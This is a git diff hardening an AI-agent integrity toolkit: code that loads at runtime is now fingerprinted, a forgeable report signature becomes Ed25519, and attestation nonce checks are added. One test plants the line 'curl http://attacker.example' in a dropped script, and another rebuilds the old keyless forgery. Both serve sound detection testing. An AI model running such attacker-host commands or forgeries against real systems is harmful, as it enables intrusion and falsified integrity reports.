diff --git a/claude-code/tests/test_claude_code_capture.py b/claude-code/tests/test_claude_code_capture.py index 1e7250a..72fe714 100644 --- a/claude-code/tests/test_claude_code_capture.py +++ b/claude-code/tests/test_claude_code_capture.py @@ -106,13 +106,21 @@ def test_mutable_state_churn_does_not_alarm(self, tmp_path, monkeypatch): (d / "state" / "progress.json").write_text('{"runs": 2}', encoding="utf-8") assert capture.diff(before, _skills_snap()) == [] - @pytest.mark.parametrize("junk", ["run.log", "cached.pyc", "scratch.tmp"]) + @pytest.mark.parametrize("junk", ["run.log", "scratch.tmp"]) def test_run_artifacts_do_not_alarm(self, tmp_path, monkeypatch, junk): d = _skill(tmp_path, monkeypatch) before = _skills_snap() (d / junk).write_text("noise", encoding="utf-8") assert capture.diff(before, _skills_snap()) == [] + @pytest.mark.parametrize("payload", ["cached.pyc", "node_modules/x/index.js", "state/run.py"]) + def test_loadable_code_alarms_even_where_data_is_excluded(self, tmp_path, monkeypatch, payload): + d = _skill(tmp_path, monkeypatch) + before = _skills_snap() + (d / payload).parent.mkdir(parents=True, exist_ok=True) + (d / payload).write_text("payload", encoding="utf-8") + assert capture.diff(before, _skills_snap()) != [] + def test_directory_without_a_manifest_is_not_a_skill(self, tmp_path, monkeypatch): claude = tmp_path / ".claude" (claude / "skills" / "notaskill").mkdir(parents=True) diff --git a/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/checksums.sha256 b/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/checksums.sha256 index 413d3db..34bcbab 100644 --- a/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/checksums.sha256 +++ b/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/checksums.sha256 @@ -18,4 +18,4 @@ c05e327faaaa7b4edd3d6b8e9cb679f752b2ee8fe647b070602892bd398eb86b positive/ontog 51464c725f51f14c0ba959d2b8752f7a614d9acc6386ba467af71229fa8e3776 positive/trace_claim_candidate.json 2f49d1277bb9d21c8decee0526b9c51f974fa69b4ed83b1049974af79e91b414 positive/trace_level0_conformance.txt 0d641d7084e3444c191e409a2d57c6faf9472751ad2d0edbb9d296f3cab95997 replay_adapter.py -ff70c74926500ebdb534659cfd0be807ac4c3dfa9af449542723aca1e517e76e verify_proof.py +c33b5605cf1bbe646368012eec941b7257e373aa213b610455026fc7a6fab050 verify_proof.py diff --git a/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/verify_proof.py b/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/verify_proof.py index 499a2de..a20a59e 100644 --- a/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/verify_proof.py +++ b/integrations/ontoguard-decision-authorization/examples/controlled-execution-proof-2026-09-17/verify_proof.py @@ -91,10 +91,16 @@ def main() -> int: else: ok("checksum manifest") - auth = load("positive/ontoguard_authorization.exact.json") sig = load("positive/ontoguard_authorization.signature.json") og_jwk = load("positive/ontoguard_public_jwk.json") exact = sig["exact_bytes"].encode("utf-8") + # Every binding below reads the signed bytes. The .exact.json sibling is a + # convenience copy with no signature over it, so it must equal them. + auth = json.loads(exact) + if load("positive/ontoguard_authorization.exact.json") == auth: + ok("authorization copy matches the signed bytes") + else: + fail("authorization copy matches the signed bytes") if digest_bytes(exact) == sig["digest"]: ok("OntoGuard authorization exact-byte digest") else: @@ -142,7 +148,12 @@ def main() -> int: else: fail("independent executable-action digest", recomputed) - receipt = load("positive/execution_receipt.json") + receipt_file = load("positive/execution_receipt.json") + receipt = json.loads(receipt_file["receipt_bytes"]) + if all(receipt_file.get(k) == v for k, v in receipt.items()): + ok("receipt fields match the signed receipt bytes") + else: + fail("receipt fields match the signed receipt bytes") if receipt.get("executed_action_binding_digest") == auth["action_binding_digest"]: ok("executed action == authorized action") else: @@ -150,8 +161,8 @@ def main() -> int: ex_jwk = load("positive/execution_public_jwk.json") ok("execution runtime signing key present in pack") - raw_receipt = receipt["receipt_bytes"].encode("utf-8") - if verify_ed25519(ex_jwk, raw_receipt, receipt["signature"]): + raw_receipt = receipt_file["receipt_bytes"].encode("utf-8") + if verify_ed25519(ex_jwk, raw_receipt, receipt_file["signature"]): ok("execution receipt Ed25519 signature") else: fail("execution receipt Ed25519 signature") diff --git a/integrations/sentinel/sentinel/server.py b/integrations/sentinel/sentinel/server.py index 5b6f5f2..13171e0 100644 --- a/integrations/sentinel/sentinel/server.py +++ b/integrations/sentinel/sentinel/server.py @@ -8,6 +8,8 @@ ) from sentinel.risk_engine import RiskEngine from sentinel.replay_engine import ReplayEngine +from sentinel.trace_claim_generator import load_signing_key +from cryptography.exceptions import InvalidSignature import traceback import uuid import json @@ -44,10 +46,28 @@ def log_enforcement(action: str, claim_id: str, result: dict, status: str = "SUC print(f"Result: {result.get('message', result)}") print(f"Status: {status}\n") +def _canonical(payload: dict) -> bytes: + return json.dumps(payload, sort_keys=True).encode('utf-8') + def sign_payload(payload: dict) -> str: - data = json.dumps(payload, sort_keys=True).encode('utf-8') - hash_digest = hashlib.sha256(data).digest() - return base64.b64encode(hash_digest + b"signed").decode('utf-8') + """Ed25519-sign a report with the same key that signs Sentinel's TRACE claims. + + The previous "signature" was sha256(payload) + b"signed", which anyone could + recompute, so /verify reported a forged report as VERIFIED. Without a key this + raises, matching the fail-closed rule for TRACE claims. + """ + key = load_signing_key() + return base64.b64encode(key.sign(_canonical(payload))).decode('utf-8') + +def verify_payload_signature(payload: dict, signature: object) -> bool: + if not isinstance(signature, str): + return False + try: + sig = base64.b64decode(signature, validate=True) + load_signing_key().public_key().verify(sig, _canonical(payload)) + return True + except (ValueError, InvalidSignature): + return False def hash_payload(payload: dict) -> str: data = json.dumps(payload, sort_keys=True).encode('utf-8') @@ -329,11 +349,10 @@ async def verify_incident(claim_id: str, request: Request): "risk_score": report_data.get("risk_score") }) recomputed_incident_hash = hash_payload(report_copy) - recomputed_signature = sign_payload(report_copy) valid_claim_hash = recomputed_claim_hash == report_data.get("claim_hash") valid_incident_hash = recomputed_incident_hash == report_data.get("incident_hash") - valid_signature = recomputed_signature == report_data.get("signature") + valid_signature = verify_payload_signature(report_copy, report_data.get("signature")) status = "VERIFIED" if (valid_claim_hash and valid_incident_hash and valid_signature) else "TAMPERED" return JSONResponse(content={ diff --git a/integrations/sentinel/tests/test_incident_signature.py b/integrations/sentinel/tests/test_incident_signature.py new file mode 100644 index 0000000..af5a2ab --- /dev/null +++ b/integrations/sentinel/tests/test_incident_signature.py @@ -0,0 +1,73 @@ +"""The incident-report signature must need Sentinel's key to produce. + +It used to be sha256(payload) + b"signed", which anyone could recompute, so +/verify accepted a forged report as VERIFIED. +""" + +from __future__ import annotations + +import base64 +import hashlib +import json + +import pytest +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey +from fastapi.testclient import TestClient + +from sentinel.server import app, hash_payload, sign_payload + + +@pytest.fixture +def client(monkeypatch): + pem = Ed25519PrivateKey.generate().private_bytes( + serialization.Encoding.PEM, + serialization.PrivateFormat.PKCS8, + serialization.NoEncryption(), + ).decode() + monkeypatch.setenv("TRACE_PRIVATE_KEY_PEM", pem) + return TestClient(app) + + +def _report(sign) -> dict: + body = {"agent_id": "a1", "detection_type": "tool_drift", "risk_score": 0.9, "incident_id": "INC-1"} + return dict( + body, + claim_hash=hash_payload({"claim_id": "c1", "agent_id": "a1", "detection_type": "tool_drift", "risk_score": 0.9}), + incident_hash=hash_payload(body), + signature=sign(body), + ) + + +def _keyless(payload: dict) -> str: + digest = hashlib.sha256(json.dumps(payload, sort_keys=True).encode()).digest() + return base64.b64encode(digest + b"signed").decode() + + +def test_report_signed_by_sentinel_verifies(client): + r = client.post("/verify/c1", json={"report": _report(sign_payload)}).json() + assert r["status"] == "VERIFIED" + + +def test_keyless_forgery_is_tampered(client): + r = client.post("/verify/c1", json={"report": _report(_keyless)}).json() + assert r["status"] == "TAMPERED" + assert r["details"]["signature_valid"] is False + + +def test_report_signed_by_another_key_is_tampered(client): + other = Ed25519PrivateKey.generate() + forged = _report(lambda p: base64.b64encode(other.sign(json.dumps(p, sort_keys=True).encode())).decode()) + assert client.post("/verify/c1", json={"report": forged}).json()["status"] == "TAMPERED" + + +def test_edited_report_is_tampered(client): + report = _report(sign_payload) + report["risk_score"] = 0.1 + assert client.post("/verify/c1", json={"report": report}).json()["status"] == "TAMPERED" + + +def test_signing_without_a_key_fails_closed(monkeypatch): + monkeypatch.delenv("TRACE_PRIVATE_KEY_PEM", raising=False) + with pytest.raises(RuntimeError): + sign_payload({"x": 1}) diff --git a/integrations/wcm-azure-skr/README.md b/integrations/wcm-azure-skr/README.md index 1e5f9c0..7e7266d 100644 --- a/integrations/wcm-azure-skr/README.md +++ b/integrations/wcm-azure-skr/README.md @@ -98,7 +98,9 @@ available in this file. It does refuse claim sets that cannot support the tier: an unknown attestation type, a compliance status other than `azure-compliant-cvm`, or a debuggable -guest. +guest. It also refuses a token whose nonce, top level or in `x-ms-runtime`, is +absent or differs from the challenge, so pass the challenge nonce to the +attestation request. `nonce_echo` is taken from the token, not the challenge. ## Run it diff --git a/integrations/wcm-azure-skr/test_wcm_azure_skr.py b/integrations/wcm-azure-skr/test_wcm_azure_skr.py index c9e567a..6d9758d 100644 --- a/integrations/wcm-azure-skr/test_wcm_azure_skr.py +++ b/integrations/wcm-azure-skr/test_wcm_azure_skr.py @@ -92,6 +92,7 @@ def good_claims(**overrides: object) -> dict: "x-ms-compliance-status": "azure-compliant-cvm", "x-ms-sevsnpvm-is-debuggable": "false", "x-ms-sevsnpvm-idkeydigest": "cd" * 48, + "x-ms-runtime": {"nonce": "a" * 64}, } claims.update(overrides) return claims @@ -301,3 +302,25 @@ def test_cli_warns_loudly_when_the_workload_is_unbound(tmp_path: pathlib.Path, c def test_cli_describes_claims(capsys) -> None: assert main(["ignored", "--authority", AUTHORITY, "--describe-claims"]) == 0 assert "x-ms-compliance-status" in capsys.readouterr().out + + +@pytest.mark.parametrize( + "claims", + [ + {"x-ms-runtime": {"nonce": "b" * 64}}, + {"x-ms-runtime": {}, "nonce": "b" * 64}, + {"x-ms-runtime": {"nonce": "a" * 64}, "nonce": "b" * 64}, + ], +) +def test_a_token_minted_for_another_challenge_is_refused(claims: dict) -> None: + """nonce_echo used to be copied from the verifier's own challenge, so a stale + token was reported as fresh.""" + with pytest.raises(SkrPolicyError, match="does not match"): + evidence_from_maa_claims(good_claims(**claims), challenge(), serving_image_measurement=SERVING) + + +def test_a_token_with_no_nonce_is_refused() -> None: + with pytest.raises(SkrPolicyError, match="no nonce"): + evidence_from_maa_claims( + good_claims(**{"x-ms-runtime": {}}), challenge(), serving_image_measurement=SERVING + ) diff --git a/integrations/wcm-azure-skr/wcm_azure_skr.py b/integrations/wcm-azure-skr/wcm_azure_skr.py index 83e5da0..e4699fe 100644 --- a/integrations/wcm-azure-skr/wcm_azure_skr.py +++ b/integrations/wcm-azure-skr/wcm_azure_skr.py @@ -113,6 +113,31 @@ } +def _token_nonce(claims: Mapping[str, Any], expected: str) -> str: + """Return the nonce the MAA token carries, after checking it is ``expected``. + + The nonce can arrive top level or inside ``x-ms-runtime``. Every place it is + present must match, and at least one must be present. Copying the verifier's + own challenge into ``nonce_echo`` instead would make a stale token look fresh. + """ + runtime = claims.get("x-ms-runtime") + found = [claims.get("nonce")] + if isinstance(runtime, Mapping): + found.append(runtime.get("nonce")) + found = [value for value in found if value is not None] + if not found: + raise SkrPolicyError( + "the MAA token carries no nonce, so nothing binds it to this challenge. " + "Pass the challenge nonce to the attestation request." + ) + if any(value != expected for value in found): + raise SkrPolicyError( + "the MAA token's nonce does not match this challenge, so the token was " + "not produced for this request" + ) + return expected + + class SkrPolicyError(ValueError): """Raised when a manifest cannot be translated into a usable SKR policy.""" @@ -299,7 +324,7 @@ def evidence_from_maa_claims( platform=platform, assurance_tier=AssuranceTier.hardware_attested.value, serving_image_measurement=serving_image_measurement, - nonce_echo=challenge.nonce, + nonce_echo=_token_nonce(claims, challenge.nonce), attestation_key_id=str(claims.get("x-ms-sevsnpvm-idkeydigest", "maa-token")), transport_public_key=transport_public_key, ) diff --git a/integrations/wcm-gcp-confidential-space/README.md b/integrations/wcm-gcp-confidential-space/README.md index 8747acd..5a07bf8 100644 --- a/integrations/wcm-gcp-confidential-space/README.md +++ b/integrations/wcm-gcp-confidential-space/README.md @@ -76,6 +76,9 @@ and is not. It does refuse claim sets that cannot support the tier: a non-Confidential-Space `swname`, an unmapped `hwmodel`, or a `dbgstat` other than `disabled-since-boot`. +It also refuses a token whose `eat_nonce` does not include the challenge nonce, +so request the token with that nonce. `nonce_echo` is taken from the token, not +the challenge. ## Run it diff --git a/integrations/wcm-gcp-confidential-space/test_wcm_gcp_cs.py b/integrations/wcm-gcp-confidential-space/test_wcm_gcp_cs.py index 7a82f4a..b465f27 100644 --- a/integrations/wcm-gcp-confidential-space/test_wcm_gcp_cs.py +++ b/integrations/wcm-gcp-confidential-space/test_wcm_gcp_cs.py @@ -93,6 +93,7 @@ def cs_claims(**overrides: object) -> dict: "dbgstat": "disabled-since-boot", "iss": "https://confidentialcomputing.googleapis.com/", "submods": {"container": {"image_digest": IMAGE}}, + "eat_nonce": "a" * 64, } claims.update(overrides) return claims @@ -341,3 +342,23 @@ def test_cli_prints_claims_for_confirming_hwmodel(tmp_path: pathlib.Path, capsys assert main(["ignored", "--print-claims", str(token)]) == 0 assert "GCP_AMD_SEV_SNP" in capsys.readouterr().out + + +@pytest.mark.parametrize("eat_nonce", ["b" * 64, ["b" * 64, "c" * 64]]) +def test_a_token_minted_for_another_challenge_is_refused(eat_nonce: object) -> None: + """nonce_echo used to be copied from the verifier's own challenge, so a stale + token was reported as fresh.""" + with pytest.raises(ConfidentialSpaceError, match="does not include"): + evidence_from_cs_claims(cs_claims(eat_nonce=eat_nonce), challenge()) + + +def test_a_token_with_no_eat_nonce_is_refused() -> None: + claims = cs_claims() + del claims["eat_nonce"] + with pytest.raises(ConfidentialSpaceError, match="no eat_nonce"): + evidence_from_cs_claims(claims, challenge()) + + +def test_a_nonce_list_containing_the_challenge_is_accepted() -> None: + evidence = evidence_from_cs_claims(cs_claims(eat_nonce=["b" * 64, "a" * 64]), challenge()) + assert evidence.cpu.nonce_echo == "a" * 64 diff --git a/integrations/wcm-gcp-confidential-space/wcm_gcp_cs.py b/integrations/wcm-gcp-confidential-space/wcm_gcp_cs.py index c4927d4..735af3d 100644 --- a/integrations/wcm-gcp-confidential-space/wcm_gcp_cs.py +++ b/integrations/wcm-gcp-confidential-space/wcm_gcp_cs.py @@ -91,6 +91,28 @@ _CLAIM_RE = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)*$") +def _token_nonce(claims: Mapping[str, Any], expected: str) -> str: + """Return the ``eat_nonce`` value matching ``expected``, or refuse. + + Confidential Space carries caller nonces in ``eat_nonce``, as a string or a + list. Copying the verifier's own challenge into ``nonce_echo`` instead would + make a stale token look fresh. + """ + value = claims.get("eat_nonce") + values = [value] if isinstance(value, str) else list(value or []) + if not values: + raise ConfidentialSpaceError( + "the token carries no eat_nonce, so nothing binds it to this challenge. " + "Request the token with the challenge nonce." + ) + if expected not in values: + raise ConfidentialSpaceError( + "the token's eat_nonce does not include this challenge's nonce, so the " + "token was not produced for this request" + ) + return expected + + class ConfidentialSpaceError(ValueError): """Raised when a manifest cannot be turned into a usable condition.""" @@ -283,7 +305,7 @@ def evidence_from_cs_claims( platform=platform, assurance_tier=AssuranceTier.hardware_attested.value, serving_image_measurement=digest, - nonce_echo=challenge.nonce, + nonce_echo=_token_nonce(claims, challenge.nonce), attestation_key_id=str(claims.get("iss", "confidential-space-token")), transport_public_key=transport_public_key, ) diff --git a/packages/agentrust-capture-core/pyproject.toml b/packages/agentrust-capture-core/pyproject.toml index 6e4d4ca..cf7e063 100644 --- a/packages/agentrust-capture-core/pyproject.toml +++ b/packages/agentrust-capture-core/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "hatchling.build" [project] name = "agentrust-capture-core" -version = "0.1.2" +version = "0.1.3" description = "Shared fingerprinting, comparison and baseline-sealing core for AgenTrust agent-integrity capture engines" readme = "README.md" license = "Apache-2.0" diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py b/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py index ed7a0be..655da68 100644 --- a/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/__init__.py @@ -29,6 +29,7 @@ from .hashing import ( EXCLUDE_DIRS, EXCLUDE_SUFFIXES, + EXECUTABLE_SUFFIXES, UNVERIFIABLE_PREFIX, now_iso, safe_sha_file, @@ -58,11 +59,12 @@ ) from .state import StatePaths, atomic_write, load_state, save_baseline, save_state -__version__ = "0.1.2" +__version__ = "0.1.3" __all__ = [ "EXCLUDE_DIRS", "EXCLUDE_SUFFIXES", + "EXECUTABLE_SUFFIXES", "INTEGRITY_BROKEN", "INTEGRITY_OK", "INTEGRITY_UNSEALED", diff --git a/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py b/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py index ec334af..5a7ba90 100644 --- a/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py +++ b/packages/agentrust-capture-core/src/agentrust_capture_core/hashing.py @@ -21,6 +21,7 @@ __all__ = [ "EXCLUDE_DIRS", "EXCLUDE_SUFFIXES", + "EXECUTABLE_SUFFIXES", "UNVERIFIABLE_PREFIX", "now_iso", "safe_sha_file", @@ -42,12 +43,27 @@ #: per-component ignore file would let the thing being measured decide what gets #: measured, so a hostile component could ship a rule covering its own payload. #: Adding a name here is a reviewed change to this package. -EXCLUDE_DIRS = frozenset({ - "state", ".cache", "__pycache__", ".git", ".pytest_cache", "node_modules", -}) +#: +#: ``node_modules`` and ``__pycache__`` are deliberately absent. Both hold code the +#: runtime loads: Node resolves ``require`` into ``node_modules``, and CPython +#: imports a ``.pyc`` in place of its source whenever the header matches, which an +#: attacker can arrange. Excluding them let a payload edit report "nothing added, +#: nothing subtracted". Digesting them costs one extra drift report when bytecode +#: is first written, which is the right trade. +EXCLUDE_DIRS = frozenset({"state", ".cache", ".git", ".pytest_cache"}) #: File suffixes skipped for the same reason: run artifacts, not behaviour. -EXCLUDE_SUFFIXES = frozenset({".log", ".tmp", ".pyc", ".pyo"}) +EXCLUDE_SUFFIXES = frozenset({".log", ".tmp"}) + +#: Files with these suffixes are digested wherever they sit, including inside an +#: excluded directory. The exclusions exist for data a component writes, and a +#: script dropped into ``state/`` is not data. +EXECUTABLE_SUFFIXES = frozenset({ + ".py", ".pyc", ".pyo", ".pyd", ".pyz", + ".js", ".mjs", ".cjs", ".ts", ".mts", ".cts", ".wasm", ".node", + ".sh", ".bash", ".zsh", ".fish", ".ps1", ".psm1", ".bat", ".cmd", + ".exe", ".dll", ".so", ".dylib", ".jar", ".rb", ".pl", ".php", ".lua", +}) def sha_bytes(payload: bytes) -> str: @@ -124,9 +140,9 @@ def tree_digest( relative = path.relative_to(root) except (OSError, ValueError): continue - if exclude_dirs & set(relative.parts[:-1]): - continue - if path.suffix in exclude_suffixes: + if path.suffix.lower() not in EXECUTABLE_SUFFIXES and ( + exclude_dirs & set(relative.parts[:-1]) or path.suffix in exclude_suffixes + ): continue digest.update(relative.as_posix().encode("utf-8")) try: diff --git a/packages/agentrust-capture-core/tests/test_core.py b/packages/agentrust-capture-core/tests/test_core.py index 7406652..1757186 100644 --- a/packages/agentrust-capture-core/tests/test_core.py +++ b/packages/agentrust-capture-core/tests/test_core.py @@ -81,14 +81,14 @@ def test_identical_trees_agree(self, tmp_path): a, b = _component(tmp_path / "a"), _component(tmp_path / "b") assert core.tree_digest(a) == core.tree_digest(b) - @pytest.mark.parametrize("junk", ["run.log", "cached.pyc", "scratch.tmp", "x.pyo"]) + @pytest.mark.parametrize("junk", ["run.log", "scratch.tmp"]) def test_run_artifacts_are_excluded(self, tmp_path, junk): root = _component(tmp_path) before = core.tree_digest(root) (root / junk).write_text("noise", encoding="utf-8") assert core.tree_digest(root) == before - @pytest.mark.parametrize("directory", ["state", ".cache", "__pycache__", "node_modules"]) + @pytest.mark.parametrize("directory", ["state", ".cache"]) def test_state_directories_are_excluded(self, tmp_path, directory): root = _component(tmp_path) (root / directory).mkdir() @@ -104,6 +104,42 @@ def test_nested_state_directory_is_excluded(self, tmp_path): (nested / "cursor").write_text("42", encoding="utf-8") assert core.tree_digest(root) == before + @pytest.mark.parametrize("relative", [ + "node_modules/helper/index.js", + "node_modules/helper/package.json", + "scripts/__pycache__/run.cpython-312.pyc", + "scripts/helper.pyc", + "x.pyo", + ]) + def test_loadable_code_is_not_excluded(self, tmp_path, relative): + """The runtime loads these, so an edit to one is a behaviour change.""" + root = _component(tmp_path) + target = root / relative + target.parent.mkdir(parents=True, exist_ok=True) + target.write_bytes(b"approved") + before = core.tree_digest(root) + target.write_bytes(b"payload") + assert core.tree_digest(root) != before + + @pytest.mark.parametrize("relative", ["state/run.py", ".cache/hook.sh", "state/tool.js", "notes.log.py"]) + def test_executable_inside_an_exclusion_is_digested(self, tmp_path, relative): + """Exclusions cover data a component writes, not a script dropped beside it.""" + root = _component(tmp_path) + before = core.tree_digest(root) + target = root / relative + target.parent.mkdir(parents=True, exist_ok=True) + target.write_text("curl http://attacker.example\n", encoding="utf-8") + assert core.tree_digest(root) != before + + def test_tree_without_newly_digested_files_keeps_its_digest(self, tmp_path): + """Narrowing the exclusions must not move the digest of a skill that has + none of the newly covered files, or every existing baseline would drift.""" + root = _component(tmp_path) + (root / "state").mkdir() + (root / "state" / "progress.json").write_text("{}", encoding="utf-8") + (root / "run.log").write_text("x", encoding="utf-8") + assert core.tree_digest(root) == core.tree_digest(_component(tmp_path / "clean")) + def test_empty_or_missing_tree_is_none_not_a_digest_of_nothing(self, tmp_path): """None distinguishes "no component here" from "a component with no files", so a caller does not record a fingerprint for something absent.""" @@ -116,6 +152,8 @@ def test_exclusions_are_engine_controlled(self): gets measured. The denylist lives in this package.""" assert "state" in core.EXCLUDE_DIRS assert ".log" in core.EXCLUDE_SUFFIXES + assert not {"node_modules", "__pycache__"} & core.EXCLUDE_DIRS + assert not {".pyc", ".pyo"} & core.EXCLUDE_SUFFIXES # --------------------------------------------------------------------------- diff --git a/plugins/agentrust-codex/tests/test_codex_capture.py b/plugins/agentrust-codex/tests/test_codex_capture.py index adf1267..b4d5902 100644 --- a/plugins/agentrust-codex/tests/test_codex_capture.py +++ b/plugins/agentrust-codex/tests/test_codex_capture.py @@ -456,7 +456,7 @@ def test_mutable_state_churn_does_not_alarm(self, tmp_path, monkeypatch): (skill / "state" / "progress.json").write_text('{"runs": 2}', encoding="utf-8") assert capture._skill_fingerprints([workspace]) == before - @pytest.mark.parametrize("junk", ["run.log", "cached.pyc", "scratch.tmp"]) + @pytest.mark.parametrize("junk", ["run.log", "scratch.tmp"]) def test_run_artifacts_do_not_alarm(self, tmp_path, monkeypatch, junk): _home, codex_home, _state, workspace = _isolated_layout(tmp_path, monkeypatch) skill = _write_skill(codex_home) @@ -464,6 +464,15 @@ def test_run_artifacts_do_not_alarm(self, tmp_path, monkeypatch, junk): (skill / junk).write_text("noise", encoding="utf-8") assert capture._skill_fingerprints([workspace]) == before + @pytest.mark.parametrize("payload", ["cached.pyc", "node_modules/x/index.js", "state/run.py"]) + def test_loadable_code_alarms_even_where_data_is_excluded(self, tmp_path, monkeypatch, payload): + _home, codex_home, _state, workspace = _isolated_layout(tmp_path, monkeypatch) + skill = _write_skill(codex_home) + before = capture._skill_fingerprints([workspace]) + (skill / payload).parent.mkdir(parents=True, exist_ok=True) + (skill / payload).write_text("payload", encoding="utf-8") + assert capture._skill_fingerprints([workspace]) != before + def test_workspace_skills_are_covered_too(self, tmp_path, monkeypatch): """A cloned repo can carry .agents/skills, so workspace roots matter.""" _home, _codex_home, _state, workspace = _isolated_layout(tmp_path, monkeypatch) diff --git a/requirements/capture-core.txt b/requirements/capture-core.txt index 1003ed3..eb5c9bb 100644 --- a/requirements/capture-core.txt +++ b/requirements/capture-core.txt @@ -1,6 +1,18 @@ # This file was autogenerated by uv via the following command: # uv pip compile requirements/capture-core.in --generate-hashes --universal --python-version 3.9 -o requirements/capture-core.txt -iniconfig==2.3.0 \ +colorama==0.4.6 ; sys_platform == 'win32' \ + --hash=sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44 \ + --hash=sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6 + # via pytest +exceptiongroup==1.3.1 ; python_full_version < '3.11' \ + --hash=sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219 \ + --hash=sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598 + # via pytest +iniconfig==2.1.0 ; python_full_version < '3.10' \ + --hash=sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7 \ + --hash=sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760 + # via pytest +iniconfig==2.3.0 ; python_full_version >= '3.10' \ --hash=sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730 \ --hash=sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12 # via pytest @@ -16,7 +28,11 @@ pygments==2.21.0 \ --hash=sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9 \ --hash=sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c # via pytest -pytest==9.1.1 \ +pytest==8.4.2 ; python_full_version < '3.10' \ + --hash=sha256:86c0d0b93306b961d58d62a4db4879f27fe25513d4b969df351abdddb3c30e01 \ + --hash=sha256:872f880de3fc3a5bdc88a11b39c9710c3497a547cfa9320bc3c5e62fbf272e79 + # via -r requirements/capture-core.in +pytest==9.1.1 ; python_full_version >= '3.10' \ --hash=sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313 \ --hash=sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c # via -r requirements/capture-core.in @@ -40,3 +56,56 @@ ruff==0.16.9 \ --hash=sha256:d29c934357e45642fda2f34c0b1f4025b4a6c01e15e4bf0016879d60078a142c \ --hash=sha256:ed1a252039200f57a59eebc063b54beabea67bfbaaca0eeaa7f54b5fbcda2284 # via -r requirements/capture-core.in +tomli==2.4.1 ; python_full_version < '3.11' \ + --hash=sha256:01f520d4f53ef97964a240a035ec2a869fe1a37dde002b57ebc4417a27ccd853 \ + --hash=sha256:0d85819802132122da43cb86656f8d1f8c6587d54ae7dcaf30e90533028b49fe \ + --hash=sha256:136443dbd7e1dee43c68ac2694fde36b2849865fa258d39bf822c10e8068eac5 \ + --hash=sha256:1d8591993e228b0c930c4bb0db464bdad97b3289fb981255d6c9a41aedc84b2d \ + --hash=sha256:2190f2e9dd7508d2a90ded5ed369255980a1bcdd58e52f7fe24b8162bf9fedbd \ + --hash=sha256:2c1c351919aca02858f740c6d33adea0c5deea37f9ecca1cc1ef9e884a619d26 \ + --hash=sha256:36d2bd2ad5fb9eaddba5226aa02c8ec3fa4f192631e347b3ed28186d43be6b54 \ + --hash=sha256:3d48a93ee1c9b79c04bb38772ee1b64dcf18ff43085896ea460ca8dec96f35f6 \ + --hash=sha256:47149d5bd38761ac8be13a84864bf0b7b70bc051806bc3669ab1cbc56216b23c \ + --hash=sha256:4ab97e64ccda8756376892c53a72bd1f964e519c77236368527f758fbc36a53a \ + --hash=sha256:4b605484e43cdc43f0954ddae319fb75f04cc10dd80d830540060ee7cd0243cd \ + --hash=sha256:504aa796fe0569bb43171066009ead363de03675276d2d121ac1a4572397870f \ + --hash=sha256:51529d40e3ca50046d7606fa99ce3956a617f9b36380da3b7f0dd3dd28e68cb5 \ + --hash=sha256:52c8ef851d9a240f11a88c003eacb03c31fc1c9c4ec64a99a0f922b93874fda9 \ + --hash=sha256:559db847dc486944896521f68d8190be1c9e719fced785720d2216fe7022b662 \ + --hash=sha256:5a881ab208c0baf688221f8cecc5401bd291d67e38a1ac884d6736cbcd8247e9 \ + --hash=sha256:5cb41aa38891e073ee49d55fbc7839cfdb2bc0e600add13874d048c94aadddd1 \ + --hash=sha256:5e262d41726bc187e69af7825504c933b6794dc3fbd5945e41a79bb14c31f585 \ + --hash=sha256:5ee18d9ebdb417e384b58fe414e8d6af9f4e7a0ae761519fb50f721de398dd4e \ + --hash=sha256:7008df2e7655c495dd12d2a4ad038ff878d4ca4b81fccaf82b714e07eae4402c \ + --hash=sha256:734e20b57ba95624ecf1841e72b53f6e186355e216e5412de414e3c51e5e3c41 \ + --hash=sha256:7c7e1a961a0b2f2472c1ac5b69affa0ae1132c39adcb67aba98568702b9cc23f \ + --hash=sha256:7f86fd587c4ed9dd76f318225e7d9b29cfc5a9d43de44e5754db8d1128487085 \ + --hash=sha256:7f94b27a62cfad8496c8d2513e1a222dd446f095fca8987fceef261225538a15 \ + --hash=sha256:88dceee75c2c63af144e456745e10101eb67361050196b0b6af5d717254dddf7 \ + --hash=sha256:8a650c2dbafa08d42e51ba0b62740dae4ecb9338eefa093aa5c78ceb546fcd5c \ + --hash=sha256:8d65a2fbf9d2f8352685bc1364177ee3923d6baf5e7f43ea4959d7d8bc326a36 \ + --hash=sha256:96481a5786729fd470164b47cdb3e0e58062a496f455ee41b4403be77cb5a076 \ + 